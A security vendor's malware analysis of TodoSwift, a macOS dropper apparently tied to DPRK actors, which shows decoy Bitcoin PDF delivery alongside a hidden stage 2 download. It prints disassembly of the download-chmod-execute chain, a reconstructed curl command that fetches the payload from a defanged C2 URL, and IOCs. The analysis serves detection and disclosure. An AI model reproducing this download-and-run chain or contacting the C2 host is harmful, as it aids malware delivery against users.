Skip to content
todoswift disguises malware download behind bitcoin pdf
Blog Threat Intelligence TodoSwift ...

TodoSwift Disguises Malware Download Behind Bitcoin PDF

Christopher Lopez Christopher Lopez
Senior macOS Security Researcher
30 min read

A signed file named TodoTasks was uploaded to VirusTotal on 2024-07-24. This application shares several behaviors with malware we’ve seen that originated in North Korea (DPRK)—specifically the threat actor known as BlueNoroff—such as KandyKorn and RustBucket; given these commonalities, we believe this new malware—which we’re dubbing TodoSwift—is likely from the same source.

In this post, we wanted to focus particularly on the malware’s dropper, a GUI application that’s written in Swift/SwiftUI. Under the guise of downloading and presenting a PDF to the user, it simultaneously downloads and executes a malicious stage 2 binary. 

TodoTasksDocument makeWindowControllers]

We will start by looking at how that application presents that PDF to the user. 

It begins with a call to makeWindowControllers, since this sets up the application’s malicious behavior. According to Apple, this method ”creates the window controller objects that the document uses to display its content.” In this case, the application sends this method to a custom NSDocument object named TodoTaskDocument. All the behavior described in the rest of this post originates from this method call; we’ll soon see why. 

100006464    void -[_TtC9TodoTasks8Document makeWindowControllers](struct _TtC9TodoTasks8Document* self, SEL sel)
100006470      id x0 = _objc_retain(obj: self)
100006478      GoogleDocANDBuy2xURLs(x0)
100006488      return _objc_release(obj: x0) __tailcall

This method calls a subroutine (which I’ve renamed GoogleDocANDBuy2xURLs()), which accepts the TodoTaskDocument object as an argument. This function is critical to what the user will see when this windowController is loaded by the application.

GoogleDocANDBuy2xURLs() 

At the start of this call, we see that two URLs are loaded and passed to a function that I renamed buildCurlCommand

10000613c  e80880d2   mov     x8, #0x47
100006140  0800faf2   movk    x8, #0xd000, lsl #0x30  {0xd000000000000047}
100006144  092d0091   add     x9, x8, #0xb  {0xd000000000000052}
100006148  8a0000f0   adrp    x10, 0x100019000
10000614c  4a410791   add     x10, x10, #0x1d0
100006150  // b'hxxps[:]//drive.usercontent.google.com/download?id=1xflBpAVQrwIS3UQqynb8iEj6gaCIXczo'
100006150  4a8100d1   sub     x10, x10, #0x20
100006154  4a0141b2   orr     x10, x10, #0x8000000000000000  {0x80000001000191b0}
100006158  092801a9   stp     x9, x10, [x0, #0x10]  {0xd000000000000052}  {0x80000001000191b0}
10000615c  890000f0   adrp    x9, 0x100019000
100006160  29c10891   add     x9, x9, #0x230
100006164  298100d1   sub     x9, x9, #0x20
100006168  290141b2   orr     x9, x9, #0x8000000000000000  {0x8000000100019210}
10000616c  // b'hxxp[:]//buy2x.com/OcMySY5QNkY/ABcTDInKWw/4SqSYtx%2B/EKfP7saoiP/BcA%3D%3D'
10000616c  082402a9   stp     x8, x9, [x0, #0x20]  {0xd000000000000047}  {0x8000000100019210}

Looking at the disassembled code, we can see that prior to the call to the curl-related function, two large Swift strings are set up. 

The first Swift string:

100006154  4a0141b2   orr     x10, x10, #0x8000000000000000  {0x80000001000191b0}
100006158  092801a9   stp     x9, x10, [x0, #0x10]  {0xd000000000000052}  {0x80000001000191b0}

X0 is passed the values of {0xd000000000000052}  and {0x80000001000191b0}, beginning at the offset of 0x10. The first (0xd000000000000052) indicates the length of the string (0x52 bytes). The second (0x80000001000191b0) indicates that this is a large Swift string. It contains a pointer to the string that will need the nativeBias (+0x20) added to obtain the actual string. NativeBias is defined in the StringObject.swift file on the Swift Language Github and is added to this pointer to determine the actual address of the string which will also match the length of 0x52 bytes. 

Using Binary Ninja, we can read the bytes from this location and see the string:

>>> bv.read(0x1000191b0+0x20, 0x52)
b'hxxps[:]//drive.usercontent.google.com/download?id=1xflBpAVQrwIS3UQqynb8iEj6gaCIXczo'

The defanged address above results in a Google Drive link. As reported by Elastic, Similar use of a Google Drive link has been observed in previous DPRK malware, including KandyKorn. 

The second Swift string:

100006168  290141b2   orr     x9, x9, #0x8000000000000000  {0x8000000100019210}
10000616c  082402a9   stp     x8, x9, [x0, #0x20]  {0xd000000000000047}  {0x8000000100019210}

X0 is passed the values {0xd000000000000047}  and {0x8000000100019210} beginning at the offset of 0x20. That’s 16 bytes away from the first string and indicates these two strings are passed next to each other inside the allocated space.  

0xd000000000000047 indicates the length of the string (0x47 bytes). 0x8000000100019210 indicates that this is a large Swift string and contains a pointer to the string that will need the nativeBias (+ 0x20) added to obtain the actual string. 

Using Binary Ninja, we can read the bytes from this location to see the actual string:

>>> bv.read(0x100019210+0x20, 0x47)
b'hxxp[:]//buy2x.com/OcMySY5QNkY/ABcTDInKWw/4SqSYtx%2B/EKfP7saoiP/BcA%3D%3D'

That’s how the Swift strings are set up; now we can see how they are used.

Prior to the Swift strings, there's a call to _swift_allocObject(). This creates a heap object of a specific size. 

100006124  dffbff97   bl      metadata accessor for TodoTasksContentMsgView
100006128  f40300aa   mov     x20, x0
10000612c  01068052   mov     w1, #0x30  // 48 bytes of space
100006130  e2008052   mov     w2, #0x7
100006134  343f0094   bl      _swift_allocObject
100006138  f60300aa   mov     x22, x0

As defined in the Swift Github, this function takes in three arguments:

  • HeapMetadata const *Metadata
  • size_t requiredSize
  • size_t requiredAlignmentMask

We can see that X0 has the value returned for the TodoTaskContentMsgView metadata call, the requiredSize is set to 0x30 (48 bytes), and the requiredAlignmentMask is 0x7. This will return a pointer to a heap object in X0 after the function call and it is saved in x22. Due to memory alignment, we can see the alignmentMask is set to 7, which is -1 from 8, specifying an 8-byte memory alignment. This is part of memory alignment for this new heap object. 

Now that we have this allocated space of 48 bytes, we know the first 16 bytes will contain the metadata and reference count; the two Swift strings that were allocated above are then added to this buffer on the heap. 

The first Swift string allocation:

100006158  092801a9   stp     x9, x10, [x0, #0x10]  {0xd000000000000052}  {0x80000001000191b0}

The second Swift string allocation:

10000616c  082402a9   stp     x8, x9, [x0, #0x20]  {0xd000000000000047}  {0x8000000100019210}

This shows that the offset of the first string starts at x0+0x10, and the second  at x0+0x20. Swift strings are structs that are 16 bytes long, so this results in two 16-byte values being added to this buffer:

  • Buffer address: X0
  • Metadata and reference count: X0
  • Start of first Swift string: X0 + 0x10 offset
  • Start of second Swift string: X0 + 0x20 offset 

This buffer containing the two strings is then passed to an ObservedObject.init(wrappedValue:) call, which (according to Apple) “creates an observed object with an initial wrapped value” that is passed in. In this case, the initialized object is then passed to a function that I’ve renamed buildCurlCommand

100006174  // allocated space = X0 and it's moved into x2
100006174  e20300aa   mov     x2, x0
100006178  e00316aa   mov     x0, x22  // reference to allocated space
10000617c  e10314aa   mov     x1, x20
100006180  // swiftUI will now observe this allocated space
100006180  563d0094   bl      ObservedObject.init(wrappedValue:)
100006184  f60301aa   mov     x22, x1
100006188  f40301aa   mov     x20, x1
10000618c  8dfbff97   bl      buildCurlCommand

buildCurlCommand()

The allocated space containing the URL strings is passed to this function via register x20, a Swift-specific calling convention. Since we know that two strings exist in the buffer that was passed to this function, we will name them according to which string they are; each is used differently by this function, and it’s important to know the difference. 

There is a call to a function (which I renamed callToCurl) that accepts the first string for Google Drive, as well as two others we will look at below. 

100005000    int32_t success = callToCurl(firstSwiftString_pt1: *(AllocatedSpaceWithURLS + 0x10), firstSwiftString_pt2: *(AllocatedSpaceWithURLS + 0x18), StringStruct_1_ouputPath: 0xd000000000000018, StringStruct_2_ouputPath: 0x8000000100019080, strStruct(pw|gc) p1: 'gc', strStruct(pw|gc) p2: 0xe200000000000000)

There are three Swift strings passed to this function: 

callToCurl(
firstSwiftString_pt1: *(AllocatedSpaceWithURLS + 0x10),
firstSwiftString_pt2: *(AllocatedSpaceWithURLS + 0x18),
StringStruct_1_ouputPath: 0xd000000000000018, 
StringStruct_2_ouputPath: 0x8000000100019080,
strStruct(pw|gc) p1: 'gc',
strStruct(pw|gc) p2: 0xe200000000000000

We know that the first string for Google Drive was passed in, since we see a reference to the buffer + 0x10 and 0x18 offsets. 

Next, another large Swift string is set up:

(0x8000000100019080, 0xd000000000000018) = 0x100019080+0x20 (nativeBias) = 0x1000190a0

Using Binary Ninja, we see:

bv.read(0x1000190a0, 0x18):
b'/tmp/GoogleMsgStatus.pdf'

This results in a file named GoogleMsgStatus.pdf in the /tmp directory, which will be used as the output path for an upcoming command. 

Lastly, a third Swift string is passed, ('gc', 0xe200000000000000). This could be used as a potential flag for this function call.

Now that we know what is passed to this callToCurl() function, let’s see how it works. 

callToCurl() 

Looking ahead, we can see that this function sets up an NSTask object to execute a curl command. What is most interesting is that this function has several conditional statements that determine which NSTask to create, based on the flag that is passed in to it.

As we just saw, the first time this is called, the string gc is passed in as the flag. Let’s see how that’s used. 

First, we see a call to initialize the NSTask object:

1000053a8    struct objc_object* task = -[_TtC9TodoTasks8Document init](self: _objc_allocWithZone(cls: _OBJC_CLASS_$_NSTask, zone), sel: "init")

Next is the first comparison: 

1000053c4    if (strStruct(pw|gc) p1 != 'pw' || strStruct(pw|gc) Size != 0xe200000000000000)
1000053dc        stringMatch = _stringCompareWithSmolCheck(_:_:expecting:)(strStruct(pw|gc) p1, strStruct(pw|gc) Size, 'pw', 0xe200000000000000, 0)

If the flag that was passed in is not pw or is not 0x2 bytes in size, it then runs the stringCompareWithSmolCheck() function, which checks whether string values are equal and returns a Boolean value. This value is then used in another if statement: 

1000053e0    if ((strStruct(pw|gc) p1 != 'pw' || strStruct(pw|gc) Size != 0xe200000000000000) && (stringMatch.d & 1) == 0)

This means that if the flag is not pw, we then continue. Since the first call to this function passed in gc, that’s what happens here.

The second branch to this callToCurl function from the caller passes in the flag pw. This indicates that this function was designed to be used multiple times and has logic to run different code depending on the flag value that was passed in. 

At this point, an NSTask object is being set up, and arguments to a task object are passed in an array. Given the offsets seen in the decompilation, we can determine this to be the Swift array being loaded with arguments. Let’s walk through what is being passed. 

10000547c    void* arg array_2  // if GC
10000547c    int128_t v0_1
10000547c    arg array_2, v0_1 = _swift_allocObject(sub_1000042e8(&data_100021f70), 0x60, 7)
100005484    arg array = arg array_2 // x28 alloc'd space
100005490    *(arg array_2 + 0x10) = data_10001a5f0
100005494    *(arg array_2 + 0x20) = firstSwiftString_pt1
100005494    *(arg array_2 + 0x28) = firstSwiftString_pt2
10000549c    *(arg array_2 + 0x30) = '-o'
10000549c    *(arg array_2 + 0x38) = 0xe200000000000000
1000054a0    StringStruct_1_ouputPath_2 = StringStruct_1_ouputPath_1
1000054a4    *(arg array_2 + 0x40) = StringStruct_1_ouputPath_2
1000054a4    *(arg array_2 + 0x48) = StringStruct_2_ouputPath
1000054ac    *(arg array_2 + 0x50) = '-s'  // curl URL -o outputPath -s
1000054ac    *(arg array_2 + 0x58) = 0xe200000000000000
1000054b0    strStruct(pw|gc) Size = firstSwiftString_pt2

First, there is a call to swift_allocObject, which we’ve already covered. This is going to return a heap object of size 0x60. The value stored at 0x10001a5f0 (metadata) will be stored at the offset of +0x10. The first Swift string that was passed to this function is then stored at 0x20 and 0x28 for 16 bytes in this array. This will be the Google Doc URL. 

Next, let’s look at how this array is converted and passed to the setArguments method. 

1000054b8    _swift_bridgeObjectRetain(strStruct(pw|gc) Size)
1000054c0    _swift_bridgeObjectRetain(StringStruct_2_ouputPath)
1000054cc    // Swift array bridged to objectiveC array
1000054d0    int64_t objC_ARG_array = Array._bridgeToObjectiveC()(arg array, type metadata for String)
1000054dc    _swift_release(arg array)
1000054f0    _objc_msgSend(self: task, cmd: "setArguments:", objC_ARG_array)

After the Swift array is loaded with the values required to execute the curl command, it is converted to an NSArray using the bridgeToObjectiveC() function. This will convert the Swift array to an NSArray type via a bridge. This NSArray (which I renamed objC_ARG_array) will then be passed as the argument to the setArguments method.

In Objective-C, this would look like: [task setArguments: objC_ARG_array].

After this setup is completed, we then have the path to curl initialized and passed to the NSTask object:

100005520      URL.init(fileURLWithPath:)('/usr/bin', '/curl\x00\x00\xed')
100005524      int64_t curl_NSURL = URL._bridgeToObjectiveC()()
10000552c      (*(x21 + 8))(&StringStruct_1_ouputPath_1 - ((x8_2 + 0xf) & 0xfffffffffffffff0), x0)
10000554c      _objc_msgSend(self: task, cmd: "setExecutableURL:", curl_NSURL)
100005554      _objc_release(obj: curl_NSURL)
100005558      id null = nullptr
10000556c      int32_t x0_17 = _objc_msgSend(self: task, cmd: "launchAndReturnError:", &null)

The path to curl—/usr/bin/curl—is initialized as a Swift URL, which is then bridged to convert to an NSURL, which I've renamed curl_NSURL. This is then passed as the argument to the setExecutableURL method. This NSTask is then executed with [task launchAndReturnError]

Back to buildCurlCommand()

Now, let’s return to the caller buildCurlCommand() to continue execution.

The call to callToCurl() returns a Boolean value renamed success, which is checked before continuing to the next part of the function. 

100005004    if ((success & 1) != 0)
100005010        // /tmp/GoogleMsgStatus.pdf
100005010        openPDFSetup(strstructFilePath_/tmp/GoogleMsgStatus.pdf: 0xd000000000000018, strstructFilePath2_/tmp/GoogleMsgStatus.pdf: 0x8000000100019080)

In other words, if success = 1, we then continue with a function that I’ve renamed openPDFSetup. This function accepts a Swift string /tmp/GoogleMsgStatus.pdf.

openPDFSetup()

Now that the PDF has been downloaded via the curl command, which was executed by the NSTask object, this function manages the presentation of the PDF to the user. Remember that all of this activity is the result of the makeWindowControllers method to handle an NSDocument; in this case, that will result in the application displaying the downloaded PDF. Here’s how that works. 

1000056dc      __builtin_strcpy(dest: &file://, src: "file://")
1000056dc      int64_t sizeOfString = 0xe700000000000000
1000056ec      String.append(_:)(strstructFilePath_/tmp/GoogleMsgStatus.pdf, strstructFilePath2_/tmp/GoogleMsgStatus.pdf)
1000056fc      // initialize the file://pathToGoogle.pdf
1000056fc      URL.init(string:)(file://, sizeOfString)

The Swift String file:// (a file URI) is initialized and the string /tmp/GoogleMsgStatus.pdf is appended to it.  

This results infile:///tmp/Google/MsgStatus.pdf, which is passed to the URL.init() call to initialize  a Swift URL. That URL is then used with an NSWorkspace object: 

100005768      struct objc_object* sharedWorkspace = _objc_retainAutoreleasedReturnValue(obj: _objc_msgSend(self: _objc_opt_self(obj: _OBJC_CLASS_$_NSWorkspace), cmd: "sharedWorkspace"))
100005774      id file://pdfFile = URL._bridgeToObjectiveC()()
10000578c      _objc_msgSend(self: sharedWorkspace, cmd: "openURL:", file://pdfFile)

A sharedWorkspace object is created using the NSWorkspace class. This object is then passed the openURL method, using the PDF file’s URI created before. This will open the PDF. That PDF—entitled “Bitcoin Price Prediction Using Machine Learning"— does not appear to be malicious in itself, but the use of artifacts relating to cryptocurrency aligns with previous DPRK targeting practices. 

Back to BuildCurlCommand() 

Now that the PDF has been presented, the dropper executes another call to curl , this time passing a different flag to download the malicious file. 

10000503c          curlSuccess = callToCurl(firstSwiftString_pt1: *(AllocatedSpaceWithURLS + 0x20), firstSwiftString_pt2: *(AllocatedSpaceWithURLS + 0x28), StringStruct_1_ouputPath: 0xd000000000000011, StringStruct_2_ouputPath: 0x80000001000190a0, strStruct(pw|gc) p1: 'pw', strStruct(pw|gc) p2: 0xe200000000000000)

We’ve already covered the callToCurl() function, so let’s focus on the specifics of this second instance, which uses the pw flag. 

1000053f8          arg array_1, v0 = _swift_allocObject(sub_1000042e8(&data_100021f70), 0xa0, 7)
1000053fc          arg array = arg array_1
100005408          *(arg array_1 + 0x10) = data_10001a600
10000540c          *(arg array_1 + 0x20) = firstSwiftString_pt1
10000540c          *(arg array_1 + 0x28) = firstSwiftString_pt2
100005418          *(arg array_1 + 0x30) = '-d'
100005418          *(arg array_1 + 0x38) = 0xe200000000000000
10000541c          *(arg array_1 + 0x40) = strStruct(pw|gc) p1
10000541c          *(arg array_1 + 0x48) = strStruct(pw|gc) Size

Due to the pw flag that was passed in, we start at the else portion of the if statement we covered previously. This creates a Swift array and adds metadata at +0x10 offset. The buy2x URL Swift string is added at 0x20 offset. Then, a -d argument is added to this array, along with its size. Since we know we are building a curl command, we can see that the -d argument is for data that would be passed in a POST request. The next Swift string is the passed data, which in this case would be pw at offset +0x40

We can look at the strings that are added to this array in the disassembly: 

100005424  082405a9   stp     x8, x9, [x0, #0x50]  {'-A'}  {0xe200000000000000}
100005428  881180d2   mov     x8, #0x8c
10000542c  0800faf2   movk    x8, #0xd000, lsl #0x30  {0xd00000000000008c}
100005430  aa000090   adrp    x10, 0x100019000
100005434  4a810391   add     x10, x10, #0xe0
100005438  4a8100d1   sub     x10, x10, #0x20
10000543c  4a0141b2   orr     x10, x10, #0x8000000000000000  {0x80000001000190c0}
100005440  // b'mozilla/5.0 (macintosh; intel mac os x 10_15_7)
100005440  // applewebkit/537.36 (khtml, like gecko ms-office;)
100005440  // compatible; chrome/125.0.0.0 safari/537.36'
100005440  082806a9   stp     x8, x10, [x0, #0x60]  {0xd00000000000008c}  {0x80000001000190c0}
100005440  082806a9   stp     x8, x10, [x0, #0x60]  {0xd00000000000008c}  {0x80000001000190c0}
100005444  a8e58d52   mov     w8, #0x6f2d
100005448  082407a9   stp     x8, x9, [x0, #0x70]  {'-o'}  {0xe200000000000000}

At offset +0x50, the Swift string -A (a curl argument to specify the user agent) is added. Then, a large Swift string is added to this array in the form of a user agent which would be passed after the -A. At offset +70, the Swift string -o is added to specify the output file location. 

We can look at the two Swift strings that are added to this array through decompilation. 

100005450          *(arg array_1 + 0x80) = StringStruct_1_ouputPath_2
100005450          *(arg array_1 + 0x88) = StringStruct_2_ouputPath
100005458          *(arg array_1 + 0x90) = '-s'
100005458          *(arg array_1 + 0x98) = 0xe200000000000000

The output path is added to the Swift array /tmp/NetMsgStatus at offset +0x80. Lastly, the string -s (for silent) is added. 

After this argument is set up, the array is converted to an NSArray and passed to the setArguments method. The same setup for the path to the curl binary is then passed to the setExectuableURL method, and the task is then executed. This downloads the stage 2 binary in the /tmp directory. 

This curl command would look similar to this:

curl "maliciousURL" -d "pw" -A "mozilla/5.0 (macintosh; intel mac os x 10_15_7) applewebkit/537.36 (khtml, like gecko ms-office;) compatible; chrome/125.0.0.0 safari/537.36" -o "/tmp/NetMsgStatus" -s 

This also shows how the command-and-control (C2) server may have been expecting specific bytes before it would deliver the stage 2 binary. 

Back to BuildCurlCommand() Again

Now that the stage 2 binary is downloaded, another NSTask is set up to execute it, which would be the conclusion of this dropper. Here’s how that works. 

100005040    if ((success & 1) == 0 || (curlSuccess & 1) == 0)
10000505c        successLaunch? = 1
100005040    else
100005050        // /tmp/NetMsgStatus
100005054        successLaunch? = chmodAndExecute(stringStructP1 - netPath: 0xd000000000000011, stringStructP2 - netPath: 0x80000001000190a0, AllocatedSpaceWithURLS) ^ 1

After the second call to set up curl, the return value is checked to ensure that it is downloaded. 

chmodAndExecute()

Next, a function I renamed chmodAndExecute is called. This function sets up two different NSTasks: one to make the file executable, another to actually execute the file. This function also takes the Swift string of the path /tmp/NetMsgStatus to the stage 2 binary as an argument. Here’s how that works. 

100004cf8      struct objc_object* Task = -[_TtC9TodoTasks8Document init](self: _objc_allocWithZone(cls: _OBJC_CLASS_$_NSTask, zone), sel: "init")
100004d08      int64_t x0_3 = sub_1000042e8(&data_100021f70)
100004d18      void* argArray = _swift_allocObject()
100004d28      __builtin_memcpy(dest: argArray + 0x10, src: "\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x37\x37\x37\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe3", n: 0x20)
100004d3c      *(argArray + 0x30) = stringStructP1 - netPath
100004d3c      *(argArray + 0x38) = stringStructP2 - netPath
100004d44      _swift_bridgeObjectRetain(stringStructP2 - netPath)
100004d54      int64_t array(String) = Array._bridgeToObjectiveC()(argArray, type metadata for String)
100004d60      _swift_release(argArray)
100004d74      _objc_msgSend(self: Task, cmd: "setArguments:", array(String))

Another NSTask object is created, and a heap object is allocated to be used as the argument array. This begins setting up the chmod process, passing 777, which can be seen as the hex values 0x373737. This Swift array is then bridged to an NSArray and passed to the setArguments method.

100004d9c      URL.init(fileURLWithPath:)('/bin/chm', 'od\x00\x00\x00\x00\x00\xea')

100004da0      int64_t chmodCommand = URL._bridgeToObjectiveC()()

100004da8      int64_t x27_1 = *(x28 + 8)

100004db4      x27_1(x20, x0)

100004dc8      _objc_msgSend(self: Task, cmd: "setExecutableURL:", chmodCommand)

A Swift URL is initialized using the path for /bin/chmod. This is bridged to convert an NSURL and passed to the setExecutableURL method. This task is launched, which will add execute permissions to the stage 2 binary. Another NSTask object is set up to execute the stage 2 binary along with a launch argument. 

100004e20    struct objc_object* task2 = -[_TtC9TodoTasks8Document init](self: _objc_allocWithZone(cls: _OBJC_CLASS_$_NSTask, zone: _objc_msgSend(self: Task, cmd: "waitUntilExit")), sel: "init")
100004e34    void* argArray_1
100004e34    int128_t v0_1
100004e34    argArray_1, v0_1 = _swift_allocObject(x0_3, 0x30, 7)
100004e44    *(argArray_1 + 0x10) = data_10001a5e0
100004e48    int64_t buy2xURL = *(allocatedURLs + 0x28)
100004e4c    *(argArray_1 + 0x20) = *(allocatedURLs + 0x20)
100004e4c    *(argArray_1 + 0x28) = buy2xURL
100004e50    _swift_bridgeObjectRetain(buy2xURL)
100004e60    int64_t array = Array._bridgeToObjectiveC()(argArray_1, type metadata for String)
100004e6c    _swift_release(argArray_1)
100004e80    _objc_msgSend(self: task2, cmd: "setArguments:", array)

Space allocations for the Google Drive URL and the buy2x URL were passed to this function and are now used to populate the first argument in the NSTask argument array. This array is then bridged to an NSArray and passed to the setArguments method. This means the stage 2 binary will be launched with the buy2x URL as a launch argument. This behavior of passing a URL as a launch argument has been seen in previous DPRK malware. 

100004e98    URL.init(fileURLWithPath:)(stringStructP1 - netPath, stringStructP2 - netPath)
100004e9c    int64_t pathToNetBinary = URL._bridgeToObjectiveC()()
100004eac    x27_1(x20, x0)
100004ebc    _objc_msgSend(self: task2, cmd: "setExecutableURL:", pathToNetBinary)
100004ec4    _objc_release(obj: pathToNetBinary)
100004ec8    null = nullptr
100004edc    int32_t launchSuccess? = _objc_msgSend(self: task2, cmd: "launchAndReturnError:", &null)

The path to the stage 2 /tmp/NetMsgStatus is initialized as a Swift URL, bridged to an NSURL and then passed to the setExecutableURL method. This task is then launched. This begins the execution of the second stage binary. 

Summary

This application appears to be designed to seem like legitimate information about potential Bitcoin prices. The use of a Google Drive URL and passing the C2 URL as a launch argument to the stage 2 binary is consistent with previous DPRK malware affecting macOS systems. We are still assessing the full functionality of this binary, but wanted to get our findings about how it’s transmitted out to the public as soon as possible.

IOCs

SHA-256 Hash of mach-O Analyzed

  • f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93

Additional SHA-256 Hashes

  • 9623c98f7338d56b07b35cd379e31e685e32a9c5317d7bc4af5276916cef4ed3
  • f1b3ce96462027644f9caa314d3da745dab139ee1cb14fe508234e76bd686f93
  • 9b839e9169babff1d14468d9f8497c165931dc65d5ff1f4b547925ff924c43fe
  • c52e3e73d7870bf8edc1b9ae52b26c08ef2466f948ef3446b2c865fd53d859dd

GoogleMsgStatus.pdf SHA-256 Hash

  • e09d2277a19dddd751edb164bde064682a6acc41a7ee178a2dacd4f9ac357fc7

Application Bundle and mach-O

  • Risk factors for Bitcoin's price decline are emerging(2024).app/Contents/MacOS/TodoTasks

Code Signature Information

  • Identifier: MasaMatsu.TodoTasks
  • Format: Mach-O universal (x86_64 arm64)
  • CodeDirectory
    • v: 20500
    • size: 1887
    • flags: 0x10000(runtime)
    • hashes: 48+7
    • location: embedded
  • Hash type: sha256 size=32
  • CandidateCDHash sha256: a55029c963ff454e42483b9b6f0293dc546e06b2
  • CandidateCDHashFull sha256: a55029c963ff454e42483b9b6f0293dc546e06b2fb71e6ebaa4c6f146a9906a3
  • Hash choices: sha256
  • CMSDigest: a55029c963ff454e42483b9b6f0293dc546e06b2fb71e6ebaa4c6f146a9906a3
  • CMSDigestType: 2
  • CDHash: a55029c963ff454e42483b9b6f0293dc546e06b2
  • Signature size: 8958
  • Authority: Developer ID Application: Leap World Hongkong Limited (TL684RWA2X)
  • Authority: Developer ID Certification Authority
  • Authority: Apple Root CA
  • Timestamp: Jul 17, 2024 at 2:37:18 AM
  • Info.plist: not bound
  • TeamIdentifier: TL684RWA2X
  • Runtime Version: 14.4.0

Google Drive For Bitcoin Related Document Download

  • hxxps[:]//drive[.]usercontent.google[.]com/download?id=1xflBpAVQrwIS3UQqynb8iEj6gaCIXczo

C2

  • hxxp[:]//buy2x[.]com/OcMySY5QNkY/ABcTDInKWw/4SqSYtx%2B/EKfP7saoiP/BcA%3D%3D

About Kandji

Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.